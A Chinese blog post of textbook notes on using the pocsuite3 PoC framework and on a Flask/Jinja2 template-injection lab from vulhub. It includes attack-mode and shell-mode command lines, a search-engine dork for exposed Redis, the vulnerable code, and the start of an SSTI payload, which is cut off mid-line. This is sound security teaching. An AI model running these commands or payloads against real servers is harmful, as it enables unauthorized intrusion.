python安全攻防第三章之Poc

本文介绍了pocsuite的安装和使用,特别是如何利用--verify和--attack参数进行漏洞验证和攻击。接着讲解了Flask框架的基础知识,指出其依赖的Jinja2模板引擎可能存在的安全风险,因为未经过滤的name参数可能导致安全问题。提供了利用代码示例,并讨论了编写POC验证模块的方法。最后,提出了针对Flask框架模板注入漏洞的防范措施,即过滤“{{}}”符号防止代码执行。
摘要由CSDN通过智能技术生成

pocsuite安装

  1. 安装pocsuite3

pip3 install pocsuite

  1. 安装数据包
pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ 
requirement.txt内容
requests == 2.22.0
PySocks == 1.7.1
requests-toolbelt == 0.9.1
urllib3 == 1.25.6
  • 在使用pocsuite时,我们可以用–verify参数调用_verify方法,验证目标是否存在漏洞;
  • 用–atack参数时调用_attack方法,用来向目标发起攻击
python pocsuite.py -r pocs/test.py(脚本路径) -u  targe-url --verify
python pocsuite.py -r pocs/test.py(脚本路径) -f 1.txt(目标地址文件) --verify
python pocsuite.py -r pocs/* - u  targe-url --verify	#使用所有poc测试
python pocsuite.py -r pocs/test.py(脚本路径) -u  targe-url --verify --threads 10
python cli.py --dork 'port:6379' --vul-keyword 'redis ' --max-page
#使用zoomeye搜索引擎
python pocsuite.py -r pocs/test.py(脚本路径) - u  targe-url --attack 	#攻击模式
python pocsuite.py -r pocs/test.py(脚本路径) - u  targe-url --shell 	#交互模式
python pocsuite.py -r pocs/test.py(脚本路径) - u  targe-url --attack --command "whomai"



flask简介

Flask是一个使用pyton编写的轻量级Web应用框架,模板引擎则使用Jinja2。Flask属于微框架(micro-framework),这既是优点也是缺点,优点是框架轻量,更新依赖少,更容易专注于安全方面的漏洞,缺点是不得不通过添加插件来增加依赖列表。Flask 依赖中就有造成模板注人漏洞的插件Jinja2的模板引擎,Jinja2 是一个面向Python的模板语言。

  1. 环境安装
git clone https://github.com/vulhub/vulhub.git
进入、vulhub/flask/ssit
docker-compose build
docker-compose up -d

2.代码分析

docker ps -a
docker exec -it 1e8500123856 /bin/bash

在这里插入图片描述

def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

可以看出name未经过滤就传入了服务器

利用代码及方式

payload:

{
   % for c in [].__class__.__base__.__subclasses__
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值